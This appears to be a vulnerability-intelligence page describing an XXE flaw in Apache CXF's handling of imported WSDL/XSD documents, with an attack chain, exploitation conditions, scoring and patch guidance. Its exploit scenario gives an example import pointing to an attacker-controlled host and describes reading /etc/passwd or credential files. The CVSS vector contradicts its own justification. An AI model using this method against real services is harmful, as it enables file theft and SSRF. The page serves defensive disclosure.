Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessControl or compromise WSDL import endpoint
-
DeliveryServe malicious XSD with DOCTYPE external entity declaration
-
ExploitCXF service fetches WSDL, delegates import to WSDL4J without XXE protection
-
ExecutionWSDL4J resolves external entity against local filesystem
-
PersistSensitive file contents returned in SOAP fault or out-of-band HTTP request
-
ImpactAttacker retrieves exfiltrated data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A02:2025 - Security Misconfiguration
ASVS 5.0
V13 - Configuration XML external entity prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the target Apache CXF service to process a WSDL document containing at least one <wsdl:import> or <xsd:import> element whose referenced resource is under attacker influence or control. The attacker must be able to serve a malicious XML document at the URL specified in the import element - this can be achieved by controlling the import endpoint directly, performing DNS hijacking, or conducting a man-in-the-middle attack on an unencrypted (HTTP) import URL. CXF deployments that use only self-contained WSDL with no external imports, or that resolve all imports exclusively from the local classpath, are not vulnerable regardless of CXF version. The attack does not require authentication against the CXF service itself; the vulnerability fires during the WSDL parsing pipeline. Exploitation is further limited by the requirement for the CXF process to have outbound network connectivity to the attacker's server for the import fetch, and by the file-system permissions of the CXF service process account governing what local files can be disclosed. |
| Impact | No vendor or NVD CVSS score is available for this CVE, requiring all metric estimates to be independently assessed from the description. The vulnerability class (CWE-611) is well-understood and high-impact when exploitable, commonly yielding local file reads (credentials, private keys, /etc/passwd) and SSRF that can pivot into internal networks. The key limiting factor is that the attacker must control or inject content at a URL referenced by the target service's WSDL import chain - this is moderate attack complexity (AC:H in CVSS 3.1 terms) rather than a trivially mass-exploitable condition. The absence of a CISA KEV listing and lack of any referenced POC suggest no confirmed widespread exploitation at time of analysis, though absence from KEV is not a confirmation of safety. Risk is highest for CXF deployments that resolve WSDL imports from external or semi-trusted network locations; deployments using only local, classpath-embedded WSDL with no remote imports have materially reduced exposure. Three active release branch patches are available, making remediation straightforward - this should be treated as a priority upgrade rather than a low-severity finding, given the potential impact of XXE in a privileged service process. |
| Exploit ScenarioDerived | An attacker who controls a publicly accessible web server crafts a malicious XSD file containing a DOCTYPE declaration with an external entity pointing to a sensitive local file on the target server, such as a database credentials file or /etc/passwd. A CXF service under attack has a top-level WSDL that contains an <xsd:import schemaLocation="https://attacker.example.com/evil.xsd"/> reference - either because the attacker poisoned a shared schema endpoint, performed a DNS hijack on the original import URL, or was able to influence the WSDL import configuration. When the CXF service initializes or reloads its WSDL, WSDL4J fetches and parses the attacker's XSD without XXE protections, resolves the external entity against the local filesystem, and the file contents are included in a subsequent SOAP fault or service response observable by the attacker. No public exploit code has been identified at time of analysis. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 06, 2026
XML External Entity injection in Apache CXF's WSDL import processing allows attackers who can influence imported WSDL or XSD documents to bypass XXE protections applied to the top-level WSDL. CXF correctly hardens top-level WSDL parsing via StaxUtils, but delegates all <wsdl:import> and <xsd:import> resolution to WSDL4J, which lacks equivalent DOCTYPE and external entity restrictions - creating a security boundary mismatch that nullifies the top-level protections. No public exploit has been identified at time of analysis, but CWE-611 is a well-understood attack class with established tooling; successful exploitation against vulnerable deployments can yield arbitrary server-side file reads and SSRF. Vendor-released patches are available across three active release branches.
RemediationAI
The primary fix is upgrading to a patched Apache CXF release: 4.2.3 for 4.2.x deployments, 4.1.8 for 4.1.x deployments, or 3.6.12 for 3.6.x deployments, as specified in the Apache advisory at https://lists.apache.org/thread/5qs207krzg51jl3zs3cvnl5lt9njp8c3. If immediate upgrade is blocked, a targeted compensating control is to audit all WSDL service definitions in the application and convert any external import URLs to local classpath references (e.g., using classpath: URI scheme), eliminating the attacker's ability to inject malicious content via the import chain - note this may require refactoring service configuration and could break functionality if remote schemas are integral to the service contract. As an additional network-layer defense, restricting outbound HTTP/HTTPS from the CXF service host reduces SSRF reachability and out-of-band data exfiltration via external entity fetching, though this does not prevent local file disclosure. Test network egress restrictions carefully before enforcing to avoid disrupting legitimate schema resolution. No workarounds for disabling WSDL4J's entity resolution directly are referenced in the advisory.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Apache CXF (cpe:2.3:a:apache_software_foundation:apache_cxf:*:*:*:*:*:*:*:*) is a Java web services framework supporting SOAP and REST, widely used in enterprise environments for contract-first (WSDL-driven) service development. When loading a WSDL service definition, CXF uses its own StaxUtils-based XML parser for the top-level document, which disables XML DTDs and external entity resolution in compliance with guidance for CWE-611 (Improper Restriction of XML External Entity Reference). However, any document transitively referenced via <wsdl:import> or <xsd:import> is handed off to WSDL4J - a separate, third-party library - which does not enforce the same restrictions. Because WSDL definitions routinely reference external XSD schemas, this delegation path is a normal, expected code flow, not an edge case. The result is that an attacker-controlled import target can introduce DOCTYPE declarations and external entity references that the top-level parser never sees, bypassing the security hardening entirely at the WSDL4J parsing stage.
Know when Apache Cxf gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
AC:H because attacker must control a resource in the WSDL import chain; C:H for arbitrary local file disclosure via XXE; A:L for potential entity-expansion DoS; no integrity impact from read-only XXE.
Primary rating from Vendor (apache).
CVSS VectorVendor: apache
Lifecycle Timeline
2DescriptionCVE.org
Apache CXF reads a top-level WSDL through its hardened StaxUtils path, which disables XML DTDs and external entities. However, any <wsdl:import> or <xsd:import> referenced from that top-level WSDL is handed off to WSDL4J, which does not disable DOCTYPE declarations or external entities. As a result, the protections applied to the top-level document do not extend to imported documents, leaving imported WSDL/XSD content vulnerable to XML External Entity (XXE) attacks. Users are recommended to upgrade to versions 4.2.3 or 4.1.8 or 3.6.12, which fix this issue.
Executive ViewAI
Apache CXF's WSDL parsing contains an XML External Entity injection vulnerability that could allow attackers to read sensitive files and execute server-side request forgery attacks against systems using the framework. The flaw bypasses security hardening by delegating imported WSDL and XSD document handling to a less-restrictive library, creating a critical exposure for organizations managing web services through CXF. Patching and restricting external WSDL sources are essential to protect against confidentiality and lateral movement risks.
Patch available per vendor advisory. If patching cannot be completed immediately, restrict CXF deployments from accessing external or untrusted WSDL and XSD sources through firewall rules; implement input validation on dynamically provided WSDL documents; and enable verbose logging of XML parsing operations to detect exploitation attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
XML External Entity (XXE) attacks exploit XML parsers that process Document Type Definitions (DTDs) without proper restrictions.
More in Apache Cxf
View allArbitrary certificate disclosure in Apache CXF's XKMS server lets remote attackers abuse an LDAP injection flaw (CWE-90)
Unsafe deserialization in Apache CXF's JMS transport allows any party able to publish to the service's JMS destination t
Token validation bypass in Apache CXF's STSTokenValidator and Security Token Service (STS) allows unauthenticated remote
Man-in-the-middle attackers can impersonate any TLS server contacted by Apache CXF's optional Netty-based HTTP client tr
XML signature wrapping in Apache CXF's JAX-RS XML Security module allows remote, unauthenticated attackers to have unsig
Trust bypass in Apache CXF's STSTokenValidator allows a remote, unauthenticated attacker to have a forged SAML assertion
A remote, unauthenticated attacker can exhaust server heap memory in Apache CXF by submitting a small (kilobyte-scale) D
Remote code execution in Apache CXF (versions before 3.6.11, 4.0.0-4.1.5, and 4.2.0) arises because the fix for CVE-2025
Denial of service persists in Apache CXF due to an incomplete remediation of CVE-2026-50645, allowing unauthenticated ne
Authorization scope escalation in Apache CXF's OAuth2 Dynamic Client Registration endpoint allows any registering client
Open redirect in Apache CXF's OIDC relying-party component lets remote, unauthenticated attackers steer users to an atta
XML External Entity injection in Apache CXF's WS-Transfer module exposes SOAP endpoints to server-side file read and int
EUVD-2026-53856
GHSA-jvhw-7q2c-2r65
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB